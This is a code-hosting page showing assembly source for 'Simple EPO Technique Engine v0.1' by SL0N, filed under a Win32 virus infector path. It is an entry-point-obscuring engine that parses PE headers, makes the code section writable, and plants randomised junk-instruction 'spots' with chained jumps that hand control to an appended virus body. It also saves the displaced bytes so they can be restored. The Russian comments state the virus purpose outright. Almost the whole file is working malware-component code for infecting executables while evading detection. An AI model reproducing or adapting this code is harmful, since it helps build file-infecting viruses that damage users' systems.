MalwareSourceCode/Win32/Infector/Virus.Win32.Spot.asm

535 lines
30 KiB
NASM
Raw Permalink Blame History

This file contains ambiguous Unicode characters

This file contains Unicode characters that might be confused with other characters. If you think that this is intentional, you can safely ignore this warning. Use the Escape button to reveal them.

;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
; [SIMPLE EPO TECHNIQUE ENGINE V. 0.1] ;
; ;
; ########### ########### ############ ############## ;
; ############# ############# ############## ############## ;
; ## ### ## ### ### ### ;
; ############ ############# ### ### ### ;
; ############ ############ ### ### ### ;
; ### ### ### ### ### ;
; ############# ### ############## ### ;
; ########### ### ############ ### ;
; ;
; FOR MS WINDOWS ;
; ;
; BY SL0N ;
;------------------------------------------------------------------------------;
; MANUAL: ;
; ADDRESS OF MAPPED FILE -> EDX ;
; ;
; CALL EPO ;
;------------------------------------------------------------------------------;
; MANUAL FOR RESTORE: ;
; CALL RESTORE ;
; ;
; ENTRY POINT -> EBX ;
;------------------------------------------------------------------------------;
; (+) DO NOT USE WIN API ;
; (+) EASY TO USE ;
; (+) GENERATE GARBAGE INSTRUCTIONS (1,2,3,4,5,6 BYTES) ;
; (+) USE X87 INSTRUCTIONS ;
; (+) RANDOM NUMBER OF SPOTS ;
; (+) MUTABLE SPOTS ;
; (+) RANDOM LENGTH OF JUMP ;
;------------------------------------------------------------------------------;
epo:
push esi edi ; Сохраняем в стэке esi
; и edi
mov [ebp+map_address],edx ; Сохраняем адрес файла в
; памяти
call get_head ; Получаем PE заголовок
;
call search_eip ; Вычисляем новую точку
; входа
call find_code ; Ищем начало кода в этом
; файле
call spots ; Помещаем туда переход
; на вирус
pop edi esi ; Восстанавливаем из стэка
; edi и esi
ret ; Выходим из подпрограммы
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
; PE HEADER SUBROUTINE ;
;------------------------------------------------------------------------------;
; [ IN ] ;
; ;
; FILE IN MEMORY -> EDX ;
;------------------------------------------------------------------------------;
; [ OUT ] ;
; ;
; NO OUTPUT IN SUBROUTINE ;
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
get_head:
; Подпрограмма получения
; PE заголовка
pusha ; Сохраняем всё в стэке
mov ebx,[edx + 3ch] ;
add ebx,edx ;
;
mov [ebp + PE_header],ebx ; сохраняем PE заголовок
mov esi,ebx ;
mov edi,esi ;
mov ebx,[esi + 28h] ;
mov [ebp + old_eip],ebx ; Сохраняем старую точку
; входа (eip)
mov ebx,[esi + 34h] ;
mov [ebp + image_base],ebx ; Сохраняем
; виртуальный адрес
; начала программы
popa ; Вынимаем всё из стэка
ret ; Выходим из подпрограммы
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
; NEW ENTRY POINT SUBROUTINE ;
;------------------------------------------------------------------------------;
; [ IN ] ;
; ;
; NO INPUT IN SUBROUTINE ;
;------------------------------------------------------------------------------;
; [ OUT ] ;
; ;
; NO OUTPUT IN SUBROUTINE ;
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
search_eip:
; Подпрограмма вычисления
; новой точки входа
pusha ; Сохраняем всё в стэке
mov esi,[ebp+PE_header] ; Кладём в esi указатель
; На PE заголовок
mov ebx,[esi + 74h] ;
shl ebx,3 ;
xor eax,eax ;
mov ax,word ptr [esi + 6h] ; Количество объектов
dec eax ; (нам нужен последний-1
mov ecx,28h ; заголовок секции)
mul ecx ; * размер заголовка
add esi,78h ; теперь esi указывает
add esi,ebx ; на начало последнего
add esi,eax ; заголовка секции
mov eax,[esi+0ch] ;
add eax,[esi+10h] ; Сохраняем новую точку
mov [ebp+new_eip],eax ; входа
popa ; Вынимаем всё из стэка
ret ; Выходим из подпрограммы
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
; FIND START OF CODE SUBROUTINE ;
;------------------------------------------------------------------------------;
; [ IN ] ;
; ;
; NO INPUT IN SUBROUTINE ;
;------------------------------------------------------------------------------;
; [ OUT ] ;
; ;
; NO OUTPUT IN SUBROUTINE ;
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
find_code:
; Подпрограмма поиска начала
; кода
mov esi,[ebp+PE_header] ; Кладём в esi указатель
; На PE заголовок
mov ebx,[esi + 74h] ;
shl ebx,3 ; Получаем
xor eax,eax ;
mov ax,word ptr [esi + 6h] ; Количество объектов
find2:
mov esi,edi ;
dec eax ;
push eax ; (нам нужен последний-1
mov ecx,28h ; заголовок секции)
mul ecx ; * размер заголовка
add esi,78h ; теперь esi указывает на
add esi,ebx ; начало последнего
; заголовка
add esi,eax ; секции
mov eax,[ebp+old_eip] ; В eax ложим точку входа
mov edx,[esi+0ch] ; В edx адрес куда будет
; мапиться
; текущая секция
cmp edx,eax ; Проверяем
pop eax ; Вынимаем из стэка eax
jg find2 ; Если больше ищем дальше
add edx,[esi+08h] ; Добавляем виртуальный
; размер секци
cmp edx,[ebp+old_eip] ; Проверяем
jl find2 ; Если меньше ищем дальше
mov edx,[esi+0ch] ; Далее вычисляем
; физическое
mov eax,[ebp+old_eip] ; смещение кода в файле
sub eax,edx ;
add eax,[esi+14h] ;
add eax,[ebp+map_address] ; И потом добавляем базу
; памяти
mov [ebp+start_code],eax ; Сохраняем начало кода
or [esi + 24h],00000020h or 20000000h or 80000000h
; Меняем аттрибуты
; кодовой секции
mov eax,[esi+08] ; Вычисляем размер
sub eax,[ebp+old_eip] ; той части кодовой секции,
mov edx,[esi+10h] ; где можно размещать
sub edx,eax ; пятна
mov [ebp+size_for_spot],edx ;
ret ; Возврат из процедуры
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
; SPOTS GENERATION SUBROUTINE ;
;------------------------------------------------------------------------------;
; [ IN ] ;
; ;
; NO INPUT IN SUBROUTINE ;
;------------------------------------------------------------------------------;
; [ OUT ] ;
; ;
; NO OUTPUT IN SUBROUTINE ;
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
spots:
; Подпрограмма генерации
; пятен
mov ecx,1 ; Кладём в ecx единицу
;
call reset ; Подготавливаем данные
call num_spots ; Генерируем случайное число
; это будет кол-во пятен
tred:
call save_bytes ; Сохраняем затираемы байты
call gen_spot ; Генерируем пятно
inc ecx ; Увеличиваем ecx на единицу
cmp ecx,[ebp+n_spots] ; Все пятна сгенерированы
jne tred ; Если нет, то генерируем
call save_bytes ; Сохраняем последние байты
call gen_final_spot ; И генерируем последнее
; пятно
ret ; Возврат из процедуры
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
; SPOT GENERATION SUBROUTINE ;
;------------------------------------------------------------------------------;
; [ IN ] ;
; ;
; NO INPUT IN SUBROUTINE ;
;------------------------------------------------------------------------------;
; [ OUT ] ;
; ;
; NO OUTPUT IN SUBROUTINE ;
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
gen_spot:
; Подпрограмма генерации
; одного пятна
push eax ecx ; Сохраняем eax и ecx
call len_sp_jmp ; Получаем случайную длину
xchg eax,ebx ; прыжка пятна
call testing ; Проверяем, чтобы пятно
jc quit2 ; не выходило за кодовую
; секцию
push ebx
xor bx,bx
dec bx
mov ecx,[ebp+num1] ; Генерируем первую партию
call garbage ; мусора
pop ebx
mov al,0e9h ;
stosb ;
mov eax,0 ; Генерируем jmp
add eax,ebx ;
add eax,ecx ;
stosd ;
push ebx
xor bx,bx
dec bx
mov ecx,[ebp+num2] ; Генерируем вторую партию
call garbage ; мусора
pop ebx
sub edi,[ebp+num2] ;
add edi,[ebp+num1] ; Корректируем edi
add edi,ebx ;
quit2:
pop ecx eax ; Восстанавливаем ecx и eax
ret ; Возврат из подпрограммы
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
; LAST SPOT GENERATION SUBROUTINE ;
;------------------------------------------------------------------------------;
; [ IN ] ;
; ;
; NO INPUT IN SUBROUTINE ;
;------------------------------------------------------------------------------;
; [ OUT ] ;
; ;
; NO OUTPUT IN SUBROUTINE ;
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
gen_final_spot:
; Подпрограмма генерации
; финального пятна
push eax ecx ; Сохраняем eax и ecx
jc not_big ; Если длина не превышает
inc [ebp+n_spots] ; размера кодовой секции, то
not_big: ; Увеличим кол-во пятен
mov ecx,[ebp+num1] ; Генерируем мусорные
call garbage ; инструкции
push edi ; Сохраняем edi
sub edi,[ebp+start_code] ; Подготавливаем длину jmp'a
mov ebx,edi ; для последнего пятна
pop edi ; Восстанавливаем edi
mov al,0e9h ;
stosb ;
mov eax,0 ;
sub eax,5 ; Генерируем финальное
sub eax,ebx ; пятно
add eax,[ebp+new_eip] ;
sub eax,[ebp+old_eip] ;
stosd ;
mov ecx,[ebp+num2] ; Генерируем вторую партию
call garbage ; мусорных инструкций
pop ecx eax ; Восстанавливаем ecx и eax
ret ; Возврат из подпрограммы
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
; SPOTS GENERATION SUBROUTINE ;
;------------------------------------------------------------------------------;
; [ IN ] ;
; ;
; ADDRESS OF SAVING BYTES -> EDI ;
; QUANTITY OF BYTES -> EBX ;
;------------------------------------------------------------------------------;
; [ OUT ] ;
; ;
; NO OUTPUT IN SUBROUTINE ;
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
save_bytes:
; Подпрограмма сохранения
; заменяемых байт
pusha ; Сохраняем всё в стэке
call length1 ; Генерируем длины мусорных
; инструкций
mov ebx,[ebp+num1] ; Помещаем в ebx первую
add ebx,[ebp+num2] ; и вторую длины
add ebx,5 ; Добавляем к ebx - 5
mov esi,edi ; Сохраняем в буфере с
mov edi,[ebp+pointer] ; начала смещение в памяти
mov eax,esi ; на сохраняемые байты
stosd ;
mov ecx,ebx ; После этого сохраняем в
mov eax,ecx ; буфере кол-во сохраняемых
stosd ; байт
rep movsb ; И в самом конце сохраняем
mov [ebp+pointer],edi ; в буфере сами байты
;
popa ; Вынимаем всё из стэка
ret ; Возврат из подпрограммы
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
; RESTORE SUBROUTINE ;
;------------------------------------------------------------------------------;
; [ IN ] ;
; ;
; NO INPUT IN SUBROUTINE ;
;------------------------------------------------------------------------------;
; [ OUT ] ;
; ;
; OLD ENTRY POINT -> EBX ;
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
restore:
; Подпрограмма
; восстановления сохранённых
; байт
cld ; Поиск вперёд
lea esi,[ebp+rest_bytes] ; В esi указазатель на буфер
mov edx,1 ; В edx кладём - 1
not_enough:
mov edi,[ebp+old_eip] ; В edi загружаем точку
add edi,[ebp+image_base] ; входа
mov ebx,edi ; Сохраняем edi в ebx
lodsd ; В eax старое смещение
; байт в памяти
sub eax,[ebp+start_code] ; Отнимаем смещение начала
; кода и добавляем
add edi,eax ; точку входа
lodsd ; Загружаем в eax кол-во
mov ecx,eax ; байт и кладём их в ecx
rep movsb ; Перемещаем оригинальные
; байты на старое место
inc edx ; Переходим к следующему
cmp edx,[ebp+n_spots] ; пятну
jl not_enough ; если не все пятна вернули,
; то восстанавливаем дальше
quit: ;
ret ; Возврат из процедуры
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
; LENGTH SPOT GENERATION SUBROUTINE ;
;------------------------------------------------------------------------------;
; [ IN ] ;
; ;
; NO INPUT IN SUBROUTINE ;
;------------------------------------------------------------------------------;
; [ OUT ] ;
; ;
; NO OUTPUT IN SUBROUTINE ;
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
length1:
; Подпрограмма генерации
; длин мусорных инструкций
mov eax,20 ;
call brandom32 ; Генерируем случайное число
test eax,eax ; в диапазоне 1..19
jz length1 ;
mov [ebp+num1],eax ; Сохраняем его в переменную
rand2:
mov eax,20 ;
call brandom32 ; Генерируем случайное число
test eax,eax ; в диапазоне 1..19
jz rand2 ;
mov [ebp+num2],eax ; Сохраняем его в вторую
; переменную
ret ; Возврат из процедуры
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
; RESET SUBROUTINE ;
;------------------------------------------------------------------------------;
; [ IN ] ;
; ;
; NO INPUT IN SUBROUTINE ;
;------------------------------------------------------------------------------;
; [ OUT ] ;
; ;
; NO OUTPUT IN SUBROUTINE ;
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
reset:
; Подпрограмма инициализации
; переменных
mov edi,[ebp+start_code] ;
;
push esi ; Инициализируем переменные
lea esi,[ebp+rest_bytes] ;
mov [ebp+pointer],esi ;
pop esi ;
ret ; Возврат из процедуры
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
; SPOT JUMP LENGTH GENERATION SUBROUTINE ;
;------------------------------------------------------------------------------;
; [ IN ] ;
; ;
; NO INPUT IN SUBROUTINE ;
;------------------------------------------------------------------------------;
; [ OUT ] ;
; ;
; LENGTH OF SPOT JUMP -> EAX ;
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
len_sp_jmp:
; Подпрограмма генерации
; длины прыжка
mov eax,150 ;
call brandom32 ; Генерируем случайное число
cmp eax,45 ; в диапазоне 45..149
jle len_sp_jmp ;
ret ; Возврат из процедуры
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
; SPOTS NUMBER GENERATION SUBROUTINE ;
;------------------------------------------------------------------------------;
; [ IN ] ;
; ;
; NO INPUT IN SUBROUTINE ;
;------------------------------------------------------------------------------;
; [ OUT ] ;
; ;
; NO OUTPUT IN SUBROUTINE ;
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
num_spots:
; Подпрограмма генерации
; количества пятен
pusha ; Сохраняем всё в стэке
mov eax,40 ; Генерируем случайное число
call brandom32 ; в диапазоне 1..40
inc eax ; И сохраняем его в
mov [ebp+n_spots],eax ; переменной
popa ; Вынимаем всё из стэка
ret ; Возврат из процедуры
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
; TESTING SUBROUTINE ;
;------------------------------------------------------------------------------;
; [ IN ] ;
; ;
; NO INPUT IN SUBROUTINE ;
;------------------------------------------------------------------------------;
; [ OUT ] ;
; ;
; CARRY FLAG ;
;xxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx;
testing:
; Подпрограмма проверки
; попадения в границу секции
push edi eax ; Сохраняем edi eax в стэке
add edi,[ebp+num1] ; Добавим к edi 1-ую длину
; мусорных инструкций
add edi,[ebp+num2] ; После этого добавим 2-ую
add edi,300 ; И добавим число в которое
; входит максимальный размер
; пятна + длина его прыжка
mov eax,[ebp+size_for_spot] ; В eax загрузим размер
; места для пятен и смещение
add eax,[ebp+start_code] ; в памяти точки входа
cmp edi,eax ; Сравним eax и edi
clc ; Сбросим carry флаг
jl m_space ; Если edi меньше, то все
; хорошо
mov [ebp+n_spots],ecx ; Если нет, то мы уменьшаем
inc [ebp+n_spots] ; количество пятен и
stc ; устанавливаем carry флаг
m_space:
pop eax edi ; Вынимаем eax и edi
ret ; Возврат из процедуры
;------------------------------------------------------------------------------;
pointer dd 0 ;
n_spots dd 0 ;
;
num1 dd 0 ;
num2 dd 0 ;
; Данные необходимые для
PE_header dd 0 ; работы мотора
old_eip dd 0 ;
image_base dd 0 ;
start_code dd 0 ;
new_eip dd 0 ;
map_address dd 0 ;
size_for_spot dd 0 ;
rest_bytes: db 2100 dup (?) ;
;------------------------------------------------------------------------------;